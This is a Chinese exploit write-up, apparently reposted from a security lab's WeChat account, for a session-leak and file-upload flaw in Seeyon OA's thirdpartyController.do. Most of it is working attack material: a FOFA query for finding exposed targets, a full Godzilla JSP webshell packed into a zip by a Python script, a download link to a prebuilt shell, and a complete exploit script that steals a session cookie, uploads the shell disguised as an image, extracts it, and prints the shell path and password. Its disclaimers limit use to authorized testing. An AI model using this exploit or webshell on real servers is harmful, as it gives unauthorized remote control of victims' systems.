0x01 阅读须知
融云安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
0x02 漏洞描述
致远OA办公自动化软件,用于OA办公自动化软件的开发销售。2010年,用友致远更名为致远协创。2017年更名为致远互联。北京致远互联软件股份有限公司(简称:致远互联)成立于2002年3月,总部设立在北京,是一家集协同办公产品的设计、研发、销售及服务为一体的企业。致远OA 业务系统thirdpartyController.do处存在Session泄露+文件上传漏洞,攻击者可以获取服务器权限。
0x03 漏洞复现
fofa:app="致远互联-OA"
1.执行如下代码进行漏洞利用
1.
需要先在当前路径放入hellozhiyuan1.zip文件,为哥斯拉马,如下为生成好的
链接:https://pan.baidu.com/s/
1
suxgMTxO24ssrBVmqtm9hw
提取码:jxxy
2.
也可以使用如下脚本生成压缩文件
import
zipfile
zf=zipfile.ZipFile(
'hellozhiyuan1.zip'
, mode=
'a'
, compression=zipfile.ZIP_DEFLATED)
fname=
f'..\hellozhiyuan1.jsp'
shellcode=
'<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>'
zf.writestr(
'layout.xml'
,
""
)
zf.writestr(fname, shellcode)
3.
EXP脚本如下:
# coding: utf-8
import
requests
import
sys
import
random
import
time
import
re
from
requests.packages.urllib3.exceptions
import
InsecureRequestWarning
def
title
()
:
print(
'+ �33[34mVersion: 致远OA session泄露任意文件上传漏洞 �33[0m'
)
print(
'+ �33[36m使用格式: python3 poc.py �33[0m'
)
print(
'+ �33[36mUrl >>> http://xxx.xxx.xxx.xxx �33[0m'
)
print(
'+------------------------------------------'
)
def
POC_1
(target_url)
:
vuln_url = target_url +
"/seeyon/thirdpartyController.do"
headers = {
"User-Agent"
:
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
,
"Content-Type"
:
"application/x-www-form-urlencoded"
,
}
data =
"method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
try
:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=
False
, timeout=
5
)
if
response.status_code ==
200
and
'a8genius.do'
in
response.text
and
'set-cookie'
in
str(response.headers).lower():
cookies = response.cookies
cookies = requests.utils.dict_from_cookiejar(cookies)
cookie = cookies[
'JSESSIONID'
]
targeturl = target_url +
'/seeyon/fileUpload.do?method=processUpload'
print(
"�33[32m[o] 目标 {} 正在上传压缩包文件.... n[o] Cookie: {} �33[0m"
.format(target_url, cookie))
files = [(
'file1'
, (
'360icon.png'
, open(
'hellozhiyuan1.zip'
,
'rb'
),
'image/png'
))]
headers = {
'Cookie'
:
"JSESSIONID=%s"
% cookie}
data = {
'callMethod'
:
'resizeLayout'
,
'firstSave'
:
"true"
,
'takeOver'
:
"false"
,
"type"
:
'0'
,
'isEncrypt'
:
"0"
}
response = requests.post(url=targeturl,files=files,data=data, headers=headers,timeout=
60
,verify=
False
)
reg = re.findall(
'fileurls=fileurls+","+'(.+)''
,response.text,re.I)
if
len(reg)==
0
:
sys.exit(
"上传文件失败"
)
POC_2(target_url, cookie, reg, headers)
else
:
print(
"�33[31m[x] 目标 {} 不存在漏洞 �33[0m"
.format(target_url))
except
Exception
as
e:
print(
"�33[31m[x] 目标 {} 请求失败 �33[0m"
.format(target_url),e)
def
POC_2
(target_url, cookie, reg, headers)
:
vuln_url = target_url +
'/seeyon/ajax.do'
datestr = time.strftime(
'%Y-%m-%d'
)
post =
'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22'
+ datestr +
'%22%2C%22'
+ reg[
0
] +
'%22%5D'
headers[
'Content-Type'
]=
"application/x-www-form-urlencoded"
print(
"�33[32m[o] 目标 {} 正在解压文件.... �33[0m"
.format(target_url))
try
:
response = requests.post(vuln_url, data=post,headers=headers,timeout=
60
,verify=
False
)
if
response.status_code ==
500
:
print(
"�33[32m[o] 目标 {} 解压文件成功.... �33[0m"
.format(target_url))
print(
"�33[32m[o] 默认Webshell地址: {}/seeyon/common/designer/pageLayout/hellozhiyuan1.jsp �33[0m"
.format(target_url))
print(
"�33[32m[o] 哥斯拉密码: pass �33[0m"
.format(target_url))
else
:
print(
"�33[31m[x] 目标 {} 不存在漏洞 �33[0m"
.format(target_url))
except
Exception
as
e:
print(
"�33[31m[x] 目标 {} 请求失败 �33[0m"
.format(target_url),e)
if
__name__ ==
'__main__'
:
title()
target_url = str(input(
"�33[35mPlease input Attack UrlnUrl >>> �33[0m"
))
POC_1(target_url)
2.nuclei验证脚本已发表于知识星球
nuclei
.exe
-t
zhiyuanOA-thirdpartyController-cookie-leakage
.yaml
-l
subs
.txt
-stats
原文始发于微信公众号(融云攻防实验室):漏洞复现 致远OA thirdpartyController.do Session泄露导致+文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论